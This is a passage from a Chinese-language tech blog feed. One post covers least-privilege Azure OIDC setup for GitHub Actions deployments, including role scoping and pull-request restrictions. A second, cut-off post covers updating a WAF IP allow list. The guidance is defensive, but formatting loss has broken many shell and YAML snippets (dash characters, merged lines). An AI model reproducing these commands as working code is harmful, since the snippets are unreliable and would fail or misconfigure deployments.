<h1 class="wp-block-heading">demoproject-sdc-team-2027-ci</h1>



<p class="wp-block-paragraph">SP_NAME=&#8221;demoproject-new-team-ci&#8221;</p>



<p class="wp-block-paragraph">BACKEND_CA_NAME=&#8221;ca-demo-backend-dev-jpe-001&#8243;</p>



<p class="wp-block-paragraph">FRONTEND_CA_NAME=&#8221;ca-demo-frontend-dev-jpe-001&#8243;</p>



<p class="wp-block-paragraph">不要把 SQL Resource Group 放進 CI role scope：</p>



<p class="wp-block-paragraph">rg-data-stg-jpe-001</p>



<p class="wp-block-paragraph">5.2 建立 App Registration 與 Service Principal</p>



<p class="wp-block-paragraph">執行者必須具備 Entra App 建立權限。建立 Azure role assignment 另外需要 Owner 或 User Access Administrator；新加入的開發團隊不需要具備這些管理權限。</p>



<p class="wp-block-paragraph">APP_ID=&#8221;$(az ad app create</p>



<p class="wp-block-paragraph">&#8211;display-name &#8220;$SP_NAME&#8221; \ &#8211;query appId -o tsv)&#8221; SP_OBJECT_ID=&#8221;$(az ad sp create</p>



<p class="wp-block-paragraph">&#8211;id &#8220;$APP_ID&#8221;</p>



<p class="wp-block-paragraph">&#8211;query id -o tsv)&#8221;</p>



<p class="wp-block-paragraph">echo &#8220;clientId: $APP_ID&#8221;</p>



<p class="wp-block-paragraph">echo &#8220;servicePrincipalObjectId: $SP_OBJECT_ID&#8221;</p>



<p class="wp-block-paragraph">不要用以下方式反查 App ID：</p>



<p class="wp-block-paragraph">az ad app list &#8211;display-name &#8220;$SP_NAME&#8221;</p>



<p class="wp-block-paragraph">因為 display name 可能重複，會拿到錯誤的 App。</p>



<p class="wp-block-paragraph">5.3 授予 CI 最小必要角色</p>



<p class="wp-block-paragraph">先取得 resource IDs：</p>



<p class="wp-block-paragraph">APP_SCOPE=&#8221;/subscriptions/${SUB_ID}/resourceGroups/${APP_RG}&#8221;</p>



<p class="wp-block-paragraph">CAE_SCOPE=&#8221;$(az containerapp env show</p>



<p class="wp-block-paragraph">&#8211;subscription &#8220;$SUB_ID&#8221;</p>



<p class="wp-block-paragraph">&#8211;resource-group &#8220;$CAE_RG&#8221;</p>



<p class="wp-block-paragraph">&#8211;name &#8220;$CAE_NAME&#8221; \ &#8211;query id -o tsv)&#8221; ACR_SCOPE=&#8221;$(az acr show</p>



<p class="wp-block-paragraph">&#8211;subscription &#8220;$SUB_ID&#8221;</p>



<p class="wp-block-paragraph">&#8211;resource-group &#8220;$ACR_RG&#8221;</p>



<p class="wp-block-paragraph">&#8211;name &#8220;$ACR_NAME&#8221; \ &#8211;query id -o tsv)&#8221; BACKEND_SCOPE=&#8221;$(az containerapp show</p>



<p class="wp-block-paragraph">&#8211;subscription &#8220;$SUB_ID&#8221;</p>



<p class="wp-block-paragraph">&#8211;resource-group &#8220;$APP_RG&#8221;</p>



<p class="wp-block-paragraph">&#8211;name &#8220;$BACKEND_CA_NAME&#8221; \ &#8211;query id -o tsv)&#8221; FRONTEND_SCOPE=&#8221;$(az containerapp show</p>



<p class="wp-block-paragraph">&#8211;subscription &#8220;$SUB_ID&#8221;</p>



<p class="wp-block-paragraph">&#8211;resource-group &#8220;$APP_RG&#8221;</p>



<p class="wp-block-paragraph">&#8211;name &#8220;$FRONTEND_CA_NAME&#8221;</p>



<p class="wp-block-paragraph">&#8211;query id -o tsv)&#8221;</p>



<p class="wp-block-paragraph">長期建議只給既有 App scope 的 Contributor：</p>



<p class="wp-block-paragraph">az role assignment create</p>



<p class="wp-block-paragraph">&#8211;subscription &#8220;$SUB_ID&#8221;</p>



<p class="wp-block-paragraph">&#8211;assignee-object-id &#8220;$SP_OBJECT_ID&#8221;</p>



<p class="wp-block-paragraph">&#8211;assignee-principal-type ServicePrincipal</p>



<p class="wp-block-paragraph">&#8211;role &#8220;Contributor&#8221;</p>



<p class="wp-block-paragraph">&#8211;scope &#8220;$BACKEND_SCOPE&#8221;</p>



<p class="wp-block-paragraph">az role assignment create</p>



<p class="wp-block-paragraph">&#8211;subscription &#8220;$SUB_ID&#8221;</p>



<p class="wp-block-paragraph">&#8211;assignee-object-id &#8220;$SP_OBJECT_ID&#8221;</p>



<p class="wp-block-paragraph">&#8211;assignee-principal-type ServicePrincipal</p>



<p class="wp-block-paragraph">&#8211;role &#8220;Contributor&#8221;</p>



<p class="wp-block-paragraph">&#8211;scope &#8220;$FRONTEND_SCOPE&#8221;</p>



<p class="wp-block-paragraph">CI push ACR 需要另外的 data-plane role：</p>



<p class="wp-block-paragraph">az role assignment create</p>



<p class="wp-block-paragraph">&#8211;subscription &#8220;$SUB_ID&#8221;</p>



<p class="wp-block-paragraph">&#8211;assignee-object-id &#8220;$SP_OBJECT_ID&#8221;</p>



<p class="wp-block-paragraph">&#8211;assignee-principal-type ServicePrincipal</p>



<p class="wp-block-paragraph">&#8211;role &#8220;AcrPush&#8221;</p>



<p class="wp-block-paragraph">&#8211;scope &#8220;$ACR_SCOPE&#8221;</p>



<p class="wp-block-paragraph">使用共用 CAE 需要：</p>



<p class="wp-block-paragraph">az role assignment create</p>



<p class="wp-block-paragraph">&#8211;subscription &#8220;$SUB_ID&#8221;</p>



<p class="wp-block-paragraph">&#8211;assignee-object-id &#8220;$SP_OBJECT_ID&#8221;</p>



<p class="wp-block-paragraph">&#8211;assignee-principal-type ServicePrincipal</p>



<p class="wp-block-paragraph">&#8211;role &#8220;Reader&#8221;</p>



<p class="wp-block-paragraph">&#8211;scope &#8220;$CAE_SCOPE&#8221;</p>



<p class="wp-block-paragraph">az role assignment create</p>



<p class="wp-block-paragraph">&#8211;subscription &#8220;$SUB_ID&#8221;</p>



<p class="wp-block-paragraph">&#8211;assignee-object-id &#8220;$SP_OBJECT_ID&#8221;</p>



<p class="wp-block-paragraph">&#8211;assignee-principal-type ServicePrincipal</p>



<p class="wp-block-paragraph">&#8211;role &#8220;Container Apps Environment Joiner&#8221;</p>



<p class="wp-block-paragraph">&#8211;scope &#8220;$CAE_SCOPE&#8221;</p>



<p class="wp-block-paragraph">若團隊需要由 CI 建立全新的 Container App，而不是更新既有 App，先由平台管理者評估是否真的需要 RG Contributor。可以先由管理者建立 App，再把後續 CI 限制為既有 App scope。</p>



<p class="wp-block-paragraph">5.4 建立 Federated Credential</p>



<p class="wp-block-paragraph">方案 A：只允許 main branch</p>



<p class="wp-block-paragraph">適合簡單的單一 staging deploy workflow：</p>



<p class="wp-block-paragraph">REPO=&#8221;NEW_ORG/NEW_REPO&#8221;</p>



<p class="wp-block-paragraph">SAFE_NAME=&#8221;${REPO//\//-}-main&#8221; SUBJECT=&#8221;repo:${REPO}:ref:refs/heads/main&#8221;</p>



<p class="wp-block-paragraph">PAYLOAD=&#8221;$(jq -n</p>



<p class="wp-block-paragraph">&#8211;arg name &#8220;$SAFE_NAME&#8221;</p>



<p class="wp-block-paragraph">&#8211;arg subject &#8220;$SUBJECT&#8221;</p>



<p class="wp-block-paragraph">&#8216;{name: $name, issuer: &#8220;<a target="_blank" rel="noopener" href="https://www.google.com/search?q=https://token.actions.githubusercontent.com">https://token.actions.githubusercontent.com</a></p>



<p class="wp-block-paragraph">&#8220;, subject: $subject, audiences: [&#8220;api://AzureADTokenExchange&#8221;] }&#8217;)&#8221;</p>



<p class="wp-block-paragraph">az ad app federated-credential create</p>



<p class="wp-block-paragraph">&#8211;id &#8220;$APP_ID&#8221;</p>



<p class="wp-block-paragraph">&#8211;parameters &#8220;$PAYLOAD&#8221;</p>



<p class="wp-block-paragraph">方案 B：使用受保護的 GitHub Environment（推薦新團隊）</p>



<p class="wp-block-paragraph">在 GitHub repository 建立 staging Environment，設定：</p>



<ul class="wp-block-list">
<li>Required reviewers。</li>



<li>只允許 main branch 或指定 tag。</li>



<li>將 Azure identifiers 放在 Environment variables。</li>
</ul>



<p class="wp-block-paragraph">Federated Credential 的 subject 改為：</p>



<p class="wp-block-paragraph">repo:NEW_ORG/NEW_REPO:environment:staging</p>



<p class="wp-block-paragraph">Workflow 的 deploy job 必須設定：</p>



<p class="wp-block-paragraph">environment: staging</p>



<p class="wp-block-paragraph">Branch subject 與 Environment subject 不要混用。Azure 會比對完整的 sub claim，字串不完全相同就會登入失敗。</p>



<p class="wp-block-paragraph">絕對不要把 write credential 給 pull_request</p>



<p class="wp-block-paragraph">以下 subject 不可綁定到具有 Contributor、AcrPush 或 App write 的 identity：</p>



<p class="wp-block-paragraph">repo:NEW_ORG/NEW_REPO:pull_request</p>



<p class="wp-block-paragraph">PR 的程式碼尚未審核，任何可以修改 workflow 的 PR 都可能嘗試呼叫 Azure CLI。PR workflow 應只執行 lint/test/build；如果真的需要查詢 Azure，另建只有 Reader 的 CI identity。</p>



<p class="wp-block-paragraph">5.5 提供 GitHub Variables</p>



<p class="wp-block-paragraph">提供給團隊的只有識別資訊：</p>



<p class="wp-block-paragraph">AZURE_CLIENT_ID =</p>



<p class="wp-block-paragraph">AZURE_TENANT_ID = 7ef65350-5b77-4958-aca5-0ccadb6bd0b7</p>



<p class="wp-block-paragraph">AZURE_SUBSCRIPTION_ID = 56b72537-d985-4530-88f3-b6ed07e71c67</p>



<p class="wp-block-paragraph">不需要也不應該提供：</p>



<p class="wp-block-paragraph">AZURE_CLIENT_SECRET</p>



<p class="wp-block-paragraph">Client ID、Tenant ID、Subscription ID 本身不是登入密碼；真正的信任條件由 Azure Federated Credential 與 GitHub workflow permission 控制。</p>



<ol start="6" class="wp-block-list">
<li>GitHub Actions Workflow 範本</li>
</ol>



<p class="wp-block-paragraph">以下範例使用「受保護 staging Environment」方案。若使用目前既有的 main branch credential，請移除 environment: staging，或先建立相符的 Environment Federated Credential。</p>



<p class="wp-block-paragraph">name: Deploy Backend to Azure Staging</p>



<p class="wp-block-paragraph">on:</p>



<p class="wp-block-paragraph">push:</p>



<p class="wp-block-paragraph">branches:</p>



<p class="wp-block-paragraph">&#8211; main</p>



<p class="wp-block-paragraph">permissions:</p>



<p class="wp-block-paragraph">contents: read</p>



<p class="wp-block-paragraph">id-token: write</p>



<p class="wp-block-paragraph">jobs:</p>



<p class="wp-block-paragraph">deploy:</p>



<p class="wp-block-paragraph">runs-on: ubuntu-latest</p>



<p class="wp-block-paragraph">environment: staging</p>



<p class="wp-block-paragraph">steps:</p>



<p class="wp-block-paragraph">&#8211; name: Checkout</p>



<p class="wp-block-paragraph">uses: actions/checkout@v4</p>



<p class="wp-block-paragraph">&#8211; name: Login to Azure with OIDC</p>



<p class="wp-block-paragraph">uses: azure/login@v2</p>



<p class="wp-block-paragraph">with:</p>



<p class="wp-block-paragraph">client-id: ${{ vars.AZURE_CLIENT_ID }}</p>



<p class="wp-block-paragraph">tenant-id: ${{ vars.AZURE_TENANT_ID }}</p>



<p class="wp-block-paragraph">subscription-id: ${{ vars.AZURE_SUBSCRIPTION_ID }} &#8211; name: Login to ACR run: az acr login &#8211;name acrdemostgjpe001 &#8211; name: Build and push image env: IMAGE: acrdemostgjpe001.azurecr.io/demo-dev-backend:${{ github.sha }}</p>



<p class="wp-block-paragraph">run: |</p>



<p class="wp-block-paragraph">docker build -t &#8220;$IMAGE&#8221; .</p>



<p class="wp-block-paragraph">docker push &#8220;$IMAGE&#8221; &#8211; name: Update existing Container App env: IMAGE: acrdemostgjpe001.azurecr.io/demo-dev-backend:${{ github.sha }}</p>



<p class="wp-block-paragraph">run: |</p>



<p class="wp-block-paragraph">az containerapp update</p>



<p class="wp-block-paragraph">&#8211;resource-group rg-demo-stg-jpe-001</p>



<p class="wp-block-paragraph">&#8211;name ca-demo-backend-dev-jpe-001</p>



<p class="wp-block-paragraph">&#8211;image &#8220;$IMAGE&#8221;</p>



<p class="wp-block-paragraph">Frontend 只需要替換 Image repository 與 Container App name。</p>



<p class="wp-block-paragraph">6.1 不要在 CI 直接執行完整 deploy.dev.ps1</p>



<p class="wp-block-paragraph">deploy.dev.ps1 適合管理者或本機部署流程，不適合直接放入 GitHub Actions，原因包括：</p>



<ul class="wp-block-list">
<li>會要求 deploy.secrets.ps1。</li>



<li>會將應用程式 secrets 套用到 Container App。</li>



<li>會包含 Managed Identity、Key Vault policy、SQL 授權等 bootstrap 工作。</li>



<li>可能嘗試建立或修改基礎資源。</li>
</ul>



<p class="wp-block-paragraph">CI 的正常流程應是：</p>



<p class="wp-block-paragraph">OIDC login -&gt; docker build -&gt; ACR push -&gt; containerapp update &#8211;image</p>



<p class="wp-block-paragraph">既有的環境變數與 secrets 由平台管理者預先設定；App runtime 使用自己的 Managed Identity 連接 SQL 與 Key Vault。</p>



<p class="wp-block-paragraph">6.2 PR Workflow</p>



<p class="wp-block-paragraph">PR workflow 不應取得 Azure write token：</p>



<p class="wp-block-paragraph">on:</p>



<p class="wp-block-paragraph">pull_request:</p>



<p class="wp-block-paragraph">branches:</p>



<p class="wp-block-paragraph">&#8211; main</p>



<p class="wp-block-paragraph">permissions:</p>



<p class="wp-block-paragraph">contents: read</p>



<p class="wp-block-paragraph">PR 可執行 lint、unit test、build 或不涉及 Staging 的 container build，但不要：</p>



<ul class="wp-block-list">
<li>id-token: write。</li>



<li>azure/login。</li>



<li>Push Staging ACR。</li>



<li>Update 或 delete Container App。</li>
</ul>



<ol start="7" class="wp-block-list">
<li>目前既有 Workflow 的注意事項</li>
</ol>



<p class="wp-block-paragraph">目前 demoproject-backend/.github/workflows/dev.yaml 與 demoproject-frontend/.github/workflows/dev.yaml 的 Dev 流程原本是：</p>



<ol start="1" class="wp-block-list">
<li>Build/test。</li>



<li>Push 到 harbor.sdc.nycu.club。</li>



<li>呼叫 n8n deployment webhook。</li>
</ol>



<p class="wp-block-paragraph">建立 Azure OIDC identity 不會自動改變這些 workflow。若要切換到 Azure Container Apps：</p>



<ol start="1" class="wp-block-list">
<li>由團隊決定是否停止 Harbor+n8n deployment。</li>



<li>將 Azure login、ACR push、Container App update 加入新的 deploy job。</li>



<li>確認新 workflow 的 subject 與 Federated Credential 完全一致。</li>



<li>先在 staging Environment 做一次受審核測試。</li>



<li>確認 revision、logs、API version 與 Frontend URL 後，再移除舊流程。</li>
</ol>



<p class="wp-block-paragraph">不要讓 Harbor+n8n 與 Azure CI 同時部署同一個功能環境，否則最後一個完成的 pipeline 可能覆蓋前一個結果。</p>



<ol start="8" class="wp-block-list">
<li>SQL 與網路權限不要放到 CI</li>
</ol>



<p class="wp-block-paragraph">8.1 CI identity 不需要 SQL role</p>



<p class="wp-block-paragraph">CI Service Principal 只更新 Container App image。SQL runtime access 由 Backend Container App 的 system-assigned Managed Identity 處理：</p>



<p class="wp-block-paragraph">GitHub CI identity -&gt; ACR push -&gt; Container App update</p>



<p class="wp-block-paragraph">Backend App Managed Identity -&gt; Private Endpoint -&gt; demoproject-dev</p>



<p class="wp-block-paragraph">如果 App 被刪除後重新建立，system-assigned identity 可能改變。平台/DB 管理者需要重新確認：</p>



<ul class="wp-block-list">
<li>AcrPull。</li>



<li>Key Vault secret get/list。</li>



<li>demoproject-dev contained user。</li>



<li>db_datareader、db_datawriter、必要時 db_ddladmin。</li>
</ul>



<p class="wp-block-paragraph">8.2 CI identity 不需要修改 SQL firewall</p>



<p class="wp-block-paragraph">目前 SQL 使用 Private Endpoint 與 Private DNS。應用程式應部署到有正確 VNet 路徑的共用 cae-stg-jpe-001。</p>



<p class="wp-block-paragraph">遇到以下錯誤時，不要直接把 GitHub Actions Service Principal 加到 SQL 或把 firewall 設成 0.0.0.0：</p>



<p class="wp-block-paragraph">Client with IP address &#8216;&#8230;&#8217; is not allowed to access the server</p>



<p class="wp-block-paragraph">這通常代表 Container App 位於沒有 VNet/private DNS 的 CAE，或 hostname 解析走到公網。請先檢查 App 的 managedEnvironmentId。</p>



<ol start="9" class="wp-block-list">
<li>驗證清單</li>
</ol>



<p class="wp-block-paragraph">9.1 管理者驗證 App 與 Federated Credentials</p>



<pre class="wp-block-code"><code>az ad app federated-credential list
--id "$APP_ID"
--query "&#91;].{name:name,subject:subject,issuer:issuer,audiences:audiences}"
-o table</code></pre>



<p class="wp-block-paragraph">應確認：</p>



<ul class="wp-block-list">
<li>issuer 是 <a href="https://www.google.com/search?q=https://token.actions.githubusercontent.com" target="_blank" rel="noopener">https://token.actions.githubusercontent.com</a>。</li>



<li>audience 是 api://AzureADTokenExchange。</li>



<li>subject 只有指定 repo 與指定 main/environment。</li>



<li>沒有 write identity 的 pull_request subject。</li>
</ul>



<p class="wp-block-paragraph">9.2 驗證 Azure RBAC</p>



<pre class="wp-block-code"><code>az role assignment list
--assignee-object-id "$SP_OBJECT_ID"
--all
--query "&#91;].{role:roleDefinitionName,scope:scope}"
-o table</code></pre>



<p class="wp-block-paragraph">不應出現：</p>



<ul class="wp-block-list">
<li>Contributor at rg-cae-stg-jpe-001。</li>



<li>任何 role at rg-data-stg-jpe-001。</li>



<li>不必要的 SQL 或 Key Vault data-plane role。</li>
</ul>



<p class="wp-block-paragraph">9.3 團隊驗證 workflow</p>



<p class="wp-block-paragraph">部署成功後確認：</p>



<pre class="wp-block-code"><code>az acr repository show-tags
--name acrdemostgjpe001
--repository demo-dev-backend
--orderby time_desc
--top 5
-o table

az containerapp revision list
--resource-group rg-demo-stg-jpe-001
--name ca-demo-backend-dev-jpe-001
--query "&#91;].{name:name,health:properties.healthState,running:properties.runningState,traffic:properties.trafficWeight}"
-o table

az containerapp logs show
--resource-group rg-demo-stg-jpe-001
--name ca-demo-backend-dev-jpe-001
--type console
--tail 100</code></pre>



<ol start="10" class="wp-block-list">
<li>常見錯誤</li>
</ol>



<ul class="wp-block-list">
<li>AADSTS70021: No matching federated identity record found | 原因：subject、branch/environment、issuer 或 audience 不一致 | 處理方式：對照 GitHub workflow 的 trigger 與 environment，列出 FIC 逐字比較</li>



<li>AuthorizationFailed | 原因：CI identity 沒有對應 scope 的 role | 處理方式：由平台管理者補上 App scope、ACR 或 CAE join role</li>



<li>denied: requested access to the resource is denied | 原因：ACR 沒有 AcrPush | 處理方式：在 ACR scope 加 AcrPush，不是只加 Contributor</li>



<li>Container App cannot join environment | 原因：缺 Microsoft.App/managedEnvironments/join/action | 處理方式：在共用 CAE scope 加 Container Apps Environment Joiner</li>



<li>SQL Client with IP &#8230; not allowed | 原因：App 走公網，沒有走 Private Endpoint | 處理方式：檢查 App 是否位於共用 CAE，不要先加大量 firewall IP</li>



<li>SQL Login failed | 原因：App Managed Identity 未建立 contained user 或 SQL role | 處理方式：查 App identity，由 DB 管理者處理，不是修改 CI role</li>



<li>Image push 後沒有新 revision | 原因：workflow push 到錯誤 ACR/tag，或沒有執行 az containerapp update | 處理方式：檢查 image URI、ACR repository、revision list 與 workflow log</li>



<li>Workflow 使用 tag 觸發但 Azure login 失敗 | 原因：只有 main branch subject，沒有符合 tag/environment 的 FIC | 處理方式：改成只由 main deploy，或由管理者建立精準的 tag/environment FIC</li>
</ul>



<ol start="11" class="wp-block-list">
<li>團隊撤換與緊急撤權</li>
</ol>



<p class="wp-block-paragraph">OIDC 不使用長期 client secret，因此撤權主要是刪除 Federated Credential 或 Azure role assignment。</p>



<p class="wp-block-paragraph">移除某個 repo 的信任</p>



<p class="wp-block-paragraph">先列出 credential ID：</p>



<pre class="wp-block-code"><code>az ad app federated-credential list
--id "$APP_ID"
--query "&#91;].{id:id,name:name,subject:subject}"
-o table</code></pre>



<p class="wp-block-paragraph">再刪除指定 credential：</p>



<pre class="wp-block-code"><code>az ad app federated-credential delete
--id "$APP_ID"
--federated-credential-id ""</code></pre>



<p class="wp-block-paragraph">移除 Azure role</p>



<pre class="wp-block-code"><code>az role assignment delete
--assignee-object-id "$SP_OBJECT_ID"
--role "AcrPush"
--scope "$ACR_SCOPE"</code></pre>



<p class="wp-block-paragraph">撤換整個團隊時，應同時：</p>



<ol start="1" class="wp-block-list">
<li>移除 GitHub Environment/repository variables。</li>



<li>刪除該 repo 的 Federated Credentials。</li>



<li>移除 App、ACR、CAE scope 的 role assignments。</li>



<li>確認 Container App runtime Managed Identity 不被誤刪。</li>



<li>保留 audit log 與變更紀錄。</li>



<li>新團隊開通檢查表</li>
</ol>



<p class="wp-block-paragraph">平台管理者</p>



<ul class="wp-block-list">
<li>確認目標 repo 與實際部署的 Backend/Frontend。</li>



<li>每個團隊建立獨立 Service Principal。</li>



<li>只建立 main 或受保護 Environment 的 FIC。</li>



<li>不建立 write identity 的 pull_request FIC。</li>



<li>ACR scope 有 AcrPush。</li>



<li>既有 App scope 有更新權限。</li>



<li>共用 CAE scope 有 Reader + Container Apps Environment Joiner。</li>



<li>沒有授予 SQL Resource Group 或共用 CAE Resource Group Contributor。</li>



<li>確認 App runtime Managed Identity 的 SQL/Key Vault/ACR 權限。</li>



<li>將三個 Azure identifiers 提供給 GitHub Environment variables。</li>
</ul>



<p class="wp-block-paragraph">開發團隊</p>



<ul class="wp-block-list">
<li>Workflow 有 permissions: id-token: write。</li>



<li>Deploy job 的 environment 或 branch subject 與 Azure FIC 完全一致。</li>



<li>使用 azure/login@v2，沒有 client secret。</li>



<li>Docker image 使用不可變的 commit SHA tag。</li>



<li>Push 到正確的 ACR repository。</li>



<li>只更新指定 Container App，不修改 CAE/VNet/SQL。</li>



<li>PR workflow 沒有 Azure write token。</li>



<li>部署後確認 revision、logs 與功能。</li>
</ul>



<ol start="13" class="wp-block-list">
<li>相關文件</li>
</ol>



<ul class="wp-block-list">
<li>Staging 新手指南： STAGING-ONBOARDING-ZH-TW.md</li>



<li>Dev 部署腳本： deploy.dev.ps1</li>



<li>Backend 權限說明： demoproject-backend\docs\dev-deployment-permissions.md</li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://stackoverflow.max-everyday.com/2026/09/azure-github-actions-oidc-ci-cd/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>門神阿福的點名簿： WAF 防火牆 IP 白名單維護指南</title>
		<link>https://stackoverflow.max-everyday.com/2026/06/waf-white-ip-list/</link>
					<comments>https://stackoverflow.max-everyday.com/2026/06/waf-white-ip-list/#respond</comments>
		
		<dc:creator><![CDATA[max-stackoverflow]]></dc:creator>
		<pubDate>Fri, 26 Jun 2026 03:47:23 +0000</pubDate>
				<category><![CDATA[Azure 筆記]]></category>
		<category><![CDATA[azure]]></category>
		<guid isPermaLink="false">https://stackoverflow.max-everyday.com/?p=8609</guid>

					<description><![CDATA[嗨，各位路過的探險家！今天來聊聊我們網站的超級門...]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="559" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/waf-white-ip-list_clean-1024x559.jpg?v=1782445631" alt="" class="wp-image-8611" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/waf-white-ip-list_clean-1024x559.jpg?v=1782445631 1024w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/waf-white-ip-list_clean-600x327.jpg?v=1782445631 600w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/waf-white-ip-list_clean-768x419.jpg?v=1782445631 768w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/waf-white-ip-list_clean.jpg?v=1782445631 1408w" sizes="auto, (max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">嗨，各位路過的探險家！今天來聊聊我們網站的超級門神 ── WAF 防火牆。</p>



<p class="wp-block-paragraph">這個系統就像是一個戒備森嚴的城堡，為了不讓壞人進來搗亂，門神阿福手上有一張點名簿，也就是所謂的白名單。只要你的 IP 位址不在這張點名簿上，阿福就會直接把你塞進小黑屋，連大門口都進不來。</p>



<p class="wp-block-paragraph">最厲害的是，阿福非常有個性，他只保護特定的城堡。就算隔壁的系統不小心被圍攻，我們 Project Name 這邊依然穩如泰山。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">阿福的點名簿現況</h2>



<p class="wp-block-paragraph">目前只有拿到特別通行證的網段才能順利通行：</p>



<ul class="wp-block-list">
<li>某神秘機房專區： 192.168.1.0/24</li>



<li>核心團隊的秘密基地： 192.168.2.0/24</li>



<li>測試專用通道： 192.168.3.0/24</li>



<li>管理員的個人特權 IP： 203.0.113.89</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">前置作業：請出管理員鑰匙</h2>



<p class="wp-block-paragraph">在指揮阿福修改點名簿之前，請先確認你已經切換到正確的管理帳號，不然阿福是絕對不會理你的。</p>



<p class="wp-block-paragraph">指令如下：</p>



<p class="wp-block-paragraph">az account set &#8211;subscription &#8220;請輸入你的雲端帳號萬用鑰匙代碼&#8221;</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">新增特權 IP 的四大步驟</h2>



<p class="wp-block-paragraph">假設今天有兩組好朋友，一組是 192.168.99.0/24 的新同學，另一組是 198.51.100.6 的外包夥伴，想要加入點名簿。請跟著以下步驟做：</p>



<h3 class="wp-block-heading">步驟 1：偷看目前的點名簿</h3>



<p class="wp-block-paragraph">先把阿福現在手上到底登記了誰調查清楚。</p>



<p class="wp-block-paragraph">az network application-gateway waf-policy custom-rule show &#8211;policy-name 門神名稱 &#8211;resource-group 城堡名稱 &#8211;name 規則名稱 &#8211;query &#8220;matchConditions[0].matchValues&#8221; -o json</p>



<h3 class="wp-block-heading">步驟 2：大家排排站，準備新名單</h3>



<p class="wp-block-paragraph">請把剛剛查出來的舊名單複製出來，然後把新朋友的名字加進去，排成一列。</p>



<h3 class="wp-block-heading">步驟 3：大手一揮，整張蓋過去</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>超級重要：</strong> 阿福很健忘，你不能只跟他說我要加兩個人，你要給他一張全新的完整名單，否則舊的人會被他通通忘光光。</p>
</blockquote>



<p class="wp-block-paragraph">我們會用一個腳本把新舊名單綁在一起，然後直接覆蓋：</p>



<p class="wp-block-paragraph">$allIPs = @(</p>



<p class="wp-block-paragraph">&#8220;192.168.1.0/24&#8221;,</p>



<p class="wp-block-paragraph">&#8220;192.168.2.0/24&#8221;,</p>



<p class="wp-block-paragraph">&#8220;192.168.3.0/24&#8221;,</p>



<p class="wp-block-paragraph">&#8220;203.0.113.89&#8221;,</p>



<p class="wp-block-paragraph">&#8220;192.168.99.0/24&#8221;, # 這是新朋友一號</p>



<p class="wp-block-paragraph">&#8220;198.51.100.6&#8221; # 這是新朋友二號</p>



<p class="wp-block-paragraph">)</p>



<p class="wp-block-paragraph">（接下來把這串名單打包成 JSON 格式後，用雲端指令送給阿福更新。因為指令比較長，這裡就不贅述，重點是名單要帶齊。）</p>



<h3 class="wp-block-heading">步驟 4：檢查阿福有沒有認真工作</h3>



<p class="wp-block-paragraph">更新完之後，再次叫阿福把名單拿出來核對，看看剛才加的新朋友是不是都在上面了。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">如果想踢掉某個 IP 呢</h2>



<p class="wp-block-paragraph">方法完全一樣。先去步驟 1 看名單，在步驟 2 的時候拿橡皮擦把不想看到的人擦掉，最後用步驟 3 的覆蓋大法，這個人就被阿福除名了。</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">實地測試：看看阿福有沒有偷懶</h2>



<p class="wp-block-paragraph">名單改完之後，我們一定要來測試看看阿福是不是真的有在認真抓壞人：</p>



<ul class="wp-block-list">
<li><strong>叫沒拿通行證的朋友點網址：</strong> 如果畫面跳出 403 錯誤，代表被阿福成功攔截，阿福好棒。</li>



<li><strong>自己人從白名單點網址：</strong> 如果正常顯示網頁，代表通行無阻。</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">筆記小重點</h2>



<ul class="wp-block-list">
<li><strong>隔壁鄰居很安全：</strong> 這個點名簿設定只針對我們 Project Name ，完全不會影響到同一個伺服器底下的其他系統。</li>



<li><strong>覆蓋完請稍等：</strong> 阿福收到新名單後，大概需要 1 到 2 分鐘的時間來認熟面孔，請給他一點時間。</li>



<li><strong>附贈隱形護盾：</strong> 除了不讓陌生人進來，阿福同時還開啟了國際防禦標準，一般的網路流氓就算換了白名單 IP 進來，只要手腳不乾淨一樣會被抓走喔。</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p class="wp-block-paragraph">如果你想使用 Azure Portal 網頁畫面來操作，步驟非常直覺，請跟著以下步驟點選。</p>



<p class="wp-block-paragraph"><strong>第一步、登入與尋找策略</strong></p>



<p class="wp-block-paragraph">首先打開瀏覽器登入 Azure Portal 網站。在網頁最上方的搜尋欄輸入 Web Application Firewall policies 或是 WAF 策略，然後點選進入。</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="705" height="982" src="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/chrome_2026-06-30-18-37-ca.jpg?v=1782815930" alt="" class="wp-image-8614" srcset="https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/chrome_2026-06-30-18-37-ca.jpg?v=1782815930 705w, https://stackoverflow.max-everyday.com/wp-content/uploads/2026/06/chrome_2026-06-30-18-37-ca-431x600.jpg?v=1782815930 431w" sizes="auto, (max-width: 705px) 100vw, 705px" /></figure>



<p class="wp-block-paragraph"><strong>第二步、選擇特定的策略</strong></p>



<p class="wp-block-paragraph">在列表中找到並點選你正在使用的 WAF 策略名稱。</p>



<p class="wp-block-paragraph"><strong>第三步、進入自訂規則</strong></p>



<p class="wp-block-paragraph">進入該策略的頁面後，查看左側的選單，在設定區塊中，點選自訂規則。</p>



<p class="wp-block-paragraph"><strong>第四步、修改名單</strong></p>



